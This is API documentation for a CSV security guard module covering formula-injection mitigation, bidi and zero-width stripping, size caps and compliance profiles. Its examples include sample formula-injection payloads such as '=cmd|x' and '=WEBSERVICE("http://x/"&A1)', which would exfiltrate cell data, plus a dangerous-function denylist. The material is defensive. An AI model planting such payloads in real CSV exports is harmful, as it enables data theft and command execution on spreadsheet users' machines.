Guard Csv
CSV content-safety guard — defends against the broader threat catalog operators face when emitting or accepting CSVs sourced from user input. b.csv.parse / b.csv.stringify handle RFC 4180 shape; this module layers the security catalog on top.
CSV-injection / formula-trigger defense: spreadsheet evaluators (Excel / LibreOffice / Google Sheets) treat any cell beginning with =, +, -, @, TAB, CR or LF as a formula, including exfiltration vectors like =WEBSERVICE(...), =HYPERLINK(...), =IMPORTXML(...). Full-width variants (U+FF1D =, U+FF0B +, U+FF0D -, U+FF20 @) are caught alongside the ASCII triggers per the OWASP locale catalog. A leading TAB, CR or LF is read through to the character after it, as an importer that trims leading whitespace evaluates what follows: TAB=cmd is a formula and TAB hello is not. Five mitigation modes apply: prefix-quote (the OWASP mitigation, prepends ' so the evaluator treats the cell as text; the profiles' default), prefix-tab (prepends TAB), wrap-with-quotes-and-prefix (email-attachment posture), reject (throw), allowlist (only documented safe functions like SUM / AVERAGE pass through unprefixed; anything the matcher cannot identify as an allowlisted call is prefixed).
The four prefixing modes force quoted output, with the prefix inside the quoted field. A TAB is the delimiter of a tab-separated reader, and such a reader of a comma document with more than one column reads the quote before the TAB as text and splits at the TAB, which puts the trigger back at the front of a cell; prefix-tab therefore holds only for tab-separated output, and the scan reads the document under every delimiter a consumer might use.
Unicode bidi/zero-width strip: CVE-2021-42574 Trojan Source bidi overrides (U+202A-202E, U+2066-2069) are rejected or stripped per profile; zero-width characters (ZWSP / ZWNJ / ZWJ / WJ / SHY) and Unicode Tags block characters (U+E0000-E007F, the ASCII smuggling channel) always strip. Leading bidi/zero-width prefixes are stripped before the formula scan so a cell beginning with U+200B=SUM(...) cannot slip past the cell-start check.
CSV-bomb caps: per-cell (maxCellBytes, default 64 KiB), total (maxTotalBytes, default 1 GiB), row count (maxRows, default ~1 M), column count (maxColumns, default 1024), and a sanitize amplification ratio (sanitizeAmplificationCap, default 4x) measured on the served output, which refuses pathological re-quote expansions: a formula re-serialization quotes every cell, which grows a document of one-character cells 2.25x and one of blank rows 3.25x, and anything past the cap is refused.
Doubled-quote escape is delegated to b.csv.stringify — every cell value containing the delimiter, the quote char, CR, or LF is wrapped in quotes with embedded quotes doubled per RFC 4180.
Profiles: strict / balanced / permissive / email-attachment. Compliance postures: hipaa / pci-dss / gdpr / soc2. Operators select via { profile: "strict" } or { compliancePosture: "hipaa" }; postures overlay on top of the profile baseline.
Threat-detection regex literals are composed programmatically from numeric codepoint ranges so the source file stays pure ASCII — never embeds the attack characters themselves.
b.guardCsv.escapeCell(value, opts?) #
{
formulaInjectionPolicy: "prefix-tab"|"prefix-quote"|"wrap-with-quotes-and-prefix"|"reject"|"allowlist"|"audit-only"|"allow",
formulasAllowlist: string[], // when policy === "allowlist"
bidiCharPolicy: "reject"|"strip"|"audit"|"allow",
controlCharPolicy: "reject"|"strip"|"allow",
nullByteHandling: "reject"|"strip"|"allow",
trailingWhitespacePolicy: "trim"|"preserve"|"reject",
numericPrecisionPolicy: "decimal-string-above-safe-int"|"scientific"|"reject-bigint",
maxCellBytes: number, // default 65536 (64 KiB)
}
Apply the full guard-csv threat catalog to a single cell value: formula-prefix mitigation, null-byte / C0-control / bidi handling, trailing-whitespace policy, numeric-precision policy, and BigInt disposition. Returns the safe string form. Throws GuardCsvError when a reject policy fires (formula-trigger under formulaInjectionPolicy: "reject", control char under controlCharPolicy: "reject", etc.) or when the cell exceeds maxCellBytes.
Used internally by b.guardCsv.serialize per cell; exposed directly for operators that emit CSV through their own writer (streaming exports, third-party libraries) and only need the per-cell defense.
A writer of your own must emit the returned value as a QUOTED field under any of the prefixing policies. OWASP places the prefix inside the quoted field: emitted bare, a leading TAB is a delimiter under tab-separated import and is dropped by consumers that trim leading whitespace from unquoted fields, either of which puts the trigger character back at the front of the cell. b.guardCsv.serialize quotes for you; a writer you supply does not.
Escaping is a fixed point — passing a value that escapeCell already returned gives that value back unchanged, so a pipeline that escapes twice does not stack prefixes.
var safe = b.guardCsv.escapeCell("=cmd|x", { formulaInjectionPolicy: "prefix-tab" });
safe; // → "\t=cmd|x"
// Reject mode throws GuardCsvError instead of disarming.
try {
b.guardCsv.escapeCell("+1234567", { formulaInjectionPolicy: "reject" });
} catch (e) {
e.code; // → "csv.formula-injection"
}
// Numeric precision: above MAX_SAFE_INTEGER, write as decimal string.
// Written as a number literal the value is already rounded before the
// call sees it, so a value from a database arrives as a string or a
// BigInt and is passed on as one.
var huge = b.guardCsv.escapeCell(9007199254740993n, {
numericPrecisionPolicy: "decimal-string-above-safe-int",
});
huge; // → "9007199254740993"
b.guardCsv.schema(spec) #
Build a schema-bound serializer/validator pair. Each row's column values are checked against the column's type ("string" / "number" / "boolean"), optional regex, optional min / max (for numbers), and nullable flag before the row reaches serialize. Type / range / regex / null violations throw GuardCsvError with codes csv.schema-type / csv.schema-range / csv.schema-regex / csv.schema-null and the offending row index — operators get the failing-row coordinates without parsing the error string.
A column regex runs against every row. schema copies each column and throws when it is built: csv.bad-schema for a column that is not an object or a regex that is not a RegExp, csv.unsafe-pattern when b.guardRegex.assertSafe refuses the regex, and csv.stateful-pattern when the regex carries the g or y flag.
Returns { serialize, validate, columns }. The returned serialize accepts the same opts as b.guardCsv.serialize and applies the column ordering automatically.
var bound = b.guardCsv.schema({
columns: [
{ name: "email", type: "string", regex: /^[^@]+@[^@]+$/ },
{ name: "age", type: "number", min: 0, max: 150, nullable: true },
],
});
var out = bound.serialize([
{ email: "alice@example.com", age: 30 },
{ email: "bob@example.com", age: null },
], { profile: "strict" });
out.indexOf("alice@example.com") !== -1; // → true
b.guardCsv.serialize(rows, opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
headers: string[]|false, // explicit column order; false suppresses header row
delimiter: string, // default ","
lineEnding: string, // default "\r\n"
bomPrefix: boolean, // prepend U+FEFF (Excel-friendly)
maxRows: number, // default 1048576
maxCellBytes: number, // default 65536
maxColumns: number, // default 1024
maxTotalBytes: number, // default 1073741824 (1 GiB)
piiPolicy: "preserve"|"redact",
redact: object, // { string(value) } replacing b.redact.redactText under "redact"
}
Emit RFC 4180 CSV from rows (array of objects or array of arrays) with the full guard-csv threat catalog applied per cell — formula-prefix mitigation, bidi/null/control handling, trailing-whitespace policy, numeric-precision policy. Doubled- quote escape is delegated to b.csv.stringify. Caps enforced: maxRows, maxCellBytes, maxColumns, maxTotalBytes (each a positive finite integer; passing Infinity throws).
Under piiPolicy: "redact" every emitted string cell is scrubbed with b.redact.redactText, which takes out SSNs, Luhn-valid card numbers, JWTs, PEM blocks, AWS keys and URL passwords and leaves the surrounding text. opts.redact replaces it with any object carrying a string(value) method; one that has no such method is refused. The HIPAA / PCI-DSS / GDPR postures set piiPolicy to "redact".
var out = b.guardCsv.serialize([
{ name: "alice", note: "=WEBSERVICE(\"http://x\")" },
{ name: "bob", note: "ok" },
], { profile: "strict" });
// Formula trigger disarmed with a leading apostrophe inside the quoted
// field, which a spreadsheet reads as "this cell is text":
out.indexOf("\"'=WEBSERVICE") !== -1; // → true
out.indexOf("\r\n") !== -1; // → true
b.guardCsv.validate(input, opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
bidiCharPolicy: "reject"|"strip"|"audit"|"allow",
controlCharPolicy: "reject"|"strip"|"allow",
nullByteHandling: "reject"|"strip"|"allow",
homoglyphPolicy: "audit"|"strip"|"allow",
formulaInjectionPolicy: "prefix-tab"|"prefix-quote"|"wrap-with-quotes-and-prefix"|"reject"|"allowlist"|"audit-only"|"allow",
dangerousFunctions: string[],
dialectPolicy: "strict"|"permissive",
}
Inspect input (string or Buffer of CSV text) and return { ok, issues }. Each issue carries { kind, severity, ruleId, location, snippet } with severity in "warn"|"high"|"critical". Detected: BOM mid-stream, Unicode bidi override (CVE-2021-42574), C0 control char, null byte, homoglyph, zero-width char, formula-prefix cell (bidi/zero-width leading prefix is stripped before the scan), dangerous-function denylist hit, mixed line endings (when dialectPolicy: "strict"). Pure inspection — never mutates input or throws.
var rv = b.guardCsv.validate("name,formula\r\nalice,=WEBSERVICE(\"x\")\r\n", {
profile: "strict",
});
rv.ok; // → false
rv.issues.some(function (i) { return i.kind === "dangerous-function"; }); // → true
b.guardCsv.sanitize(input, opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
bidiCharPolicy: "reject"|"strip"|"audit"|"allow",
controlCharPolicy: "reject"|"strip"|"allow",
nullByteHandling: "reject"|"strip"|"allow",
homoglyphPolicy: "audit"|"strip"|"allow",
trailingWhitespacePolicy: "trim"|"preserve"|"reject",
sanitizeAmplificationCap: number, // default 4
}
Best-effort cleanup of input (string or Buffer): strips leading BOM (when bomPrefix: false), bidi override chars (when bidiCharPolicy: "strip"), C0 control chars (when controlCharPolicy: "strip"), null bytes (when nullByteHandling: "strip"), zero-width and Unicode Tags chars (always), and trailing whitespace per trailingWhitespacePolicy, read from the end of each record under the configured delimiter and quote, so a line break inside a quoted cell is content and the cell's own trailing spaces stay.
Throws when a character class is set to "reject" and the input carries it — "reject" refuses, "strip" repairs, and sanitize never returns a class the operator asked it to refuse: a formula cell under formulaInjectionPolicy: "reject", a denylisted function and mixed line endings under dialectPolicy: "strict" throw with the finding's rule id. A denylisted function is refused wherever it sits in the cell: nested in another call, after an operator, or behind the guard's own ' prefix. Refuses pathological expansion: when the served output exceeds sanitizeAmplificationCap (default 4x) the function throws GuardCsvError("csv/sanitize-amplified").
A formula cell under a prefixing policy is disarmed the way the gate disarms it: the document is re-parsed and re-serialized through b.guardCsv.serialize, which quotes every cell and places the policy's prefix inside the quotes, and the result is read again under every delimiter a consumer might use. A cell that is still a formula under one of those readings throws csv.formula-injection, since disarming it would mean rewriting the document for a dialect the guard is not emitting; under allowlist such a cell is served only when every call in it is allowlisted. The re-serialization quotes every cell, and the amplification cap is measured on what it produces. A document with no formula cell comes back unchanged apart from the character-level repairs.
// Build hostile input programmatically so the source stays ASCII.
var ZWSP = String.fromCharCode(0x200B);
var clean = b.guardCsv.sanitize("name,note\r\nalice,hi" + ZWSP + "\r\n", {
profile: "balanced",
});
clean.indexOf(ZWSP) === -1; // → true
b.guardCsv.detect(input) #
Sniff dialect heuristics from input (string or Buffer): most- frequent delimiter on the first line (",", ";", "\t", "|"), dominant line-ending, header presence (first line starts with an ASCII letter), encoding hint ("utf-8" vs "utf-8-sig" when a leading BOM is present), and a single-pass dialect verdict ("consistent" vs "mixed" line endings). Returns a confidence score in [0, 1]. Pure inspection.
var d = b.guardCsv.detect("name,age\r\nalice,30\r\nbob,40\r\n");
d.delimiter; // → ","
d.lineEnding; // → "\r\n"
d.hasHeader; // → true
d.encoding; // → "utf-8"
d.dialect; // → "consistent"
b.guardCsv.gate(opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
name: string, // gate identity for audit / observability
operatorRules: [{ id: string, severity: "warn"|"high"|"critical",
detect: function, reason: string }],
}
Build a b.gateContract gate suitable for plugging into b.staticServe({ contentSafety: { ".csv": gate } }), b.fileUpload({ contentSafety: { "text/csv": gate } }), b.mail, or b.objectStore. Each finding's action is the one the operator's policy for that class selected: serve (no issues) → audit-only (observe-only findings) → sanitize (a class set to a mitigation, formula prefix-quote or bidi/control strip, so the gate strips, then re-parses + re-serializes when a formula cell is present so escapeCell's mitigation lands) → refuse (a class set to reject, the dangerous-function denylist, or an ambiguous mixed dialect). refuse wins over sanitize wins over audit-only.
Operator extensibility: pass operatorRules: [{ id, severity, detect: fn(ctx)→boolean, reason }] to inject custom detectors alongside the built-in catalog. Rules run best-effort — a throwing detector is silently skipped (the framework cannot crash a request because an operator rule mishandled bytes).
var csvGate = b.guardCsv.gate({ profile: "strict" });
// Wire into staticServe so every served .csv runs through the gate.
var serve = b.staticServe.create({
root: "/var/data",
contentSafety: { ".csv": csvGate },
});
// A plain formula cell is mitigated in place (strict's formula policy is
// prefix-quote: a cell beginning `=`/`+`/`-`/`@` is prefixed with `'` so
// spreadsheets render it as text rather than evaluate it):
var formula = Buffer.from("name,formula\r\nalice,=cmd|x\r\n", "utf8");
(await csvGate.check({ bytes: formula })).action; // → "sanitize"
// A denylisted exfiltration/RCE function refuses — too dangerous to serve
// even prefixed:
var exfil = Buffer.from('a\r\n=WEBSERVICE("http://x/"&A1)\r\n', "utf8");
(await csvGate.check({ bytes: exfil })).action; // → "refuse"
b.guardCsv.compliancePosture(name) #
Look up a compliance-posture overlay by name (one of "hipaa" / "pci-dss" / "gdpr" / "soc2"). Returns a fresh clone of the posture overlay so the caller may mutate it freely without disturbing the shared table. Throws GuardCsvError with code "csv.bad-posture" when the name is not one this guard maps. Wired by gateContract.defineGuard through gateContract.lookupCompliancePosture, so the clone semantics and error code are identical across every guard in the family.
var posture = b.guardCsv.compliancePosture("hipaa");
posture; // → overlay clone (mutable)
try {
b.guardCsv.compliancePosture("not-a-regime");
} catch (e) {
e.code; // → "csv.bad-posture"
}
b.guardCsv.buildProfile(opts) #
{
extends: string|string[], // base profile name(s) to compose
...: any guard key, // inline override of resolved keys
}
Compose a derived profile from one or more named bases plus inline overrides, resolving names through this guard's own PROFILES table. opts.extends is a base profile name ("strict" / "balanced" / "permissive") or an array of names — later entries shadow earlier ones, and inline opts keys win last. Wired by gateContract.defineGuard through gateContract.makeProfileBuilder, so operator-defined profiles stay traceable to a baseline instead of a hand-typed dictionary.
var custom = b.guardCsv.buildProfile({ extends: "strict" });
custom; // → composed profile object
b.guardCsv.loadRulePack(pack) #
Register an operator-supplied rule pack with this guard's rule-pack registry. The pack is identified by pack.id (a non-empty string) and stored for later dispatch by gates that opt in via opts.rulePackId. Returns the pack unchanged on success; throws GuardCsvError with code "csv.bad-opt" when pack is missing or pack.id is not a non-empty string. Wired by gateContract.defineGuard through gateContract.makeRulePackLoader, so storage shape and validation are identical across the family.
var pack = b.guardCsv.loadRulePack({ id: "tenant-policy", rules: [] });
pack.id; // → "tenant-policy"
b.guardCsv.resolveOpts(opts?) #
{
profile: string, // one of PROFILES; default this guard's default
compliancePosture: string, // overlay one of hipaa/pci-dss/gdpr/soc2
}
Resolve caller opts against this guard's PROFILES + compliance-posture overlays into the fully-defaulted option set the guard runs on — the same resolution validate / sanitize / gate apply internally. Wired by gateContract.defineGuard from the guard's binding config (profiles / postures / defaults / error class), so a guard's bespoke gate calls resolveOpts instead of re-declaring the per-guard resolver wrapper. Throws GuardCsvError with code "csv.bad-opt" / "csv.bad-posture" on an unknown profile or posture name.
var resolved = b.guardCsv.resolveOpts({ profile: "strict" });
resolved.profile; // → "strict"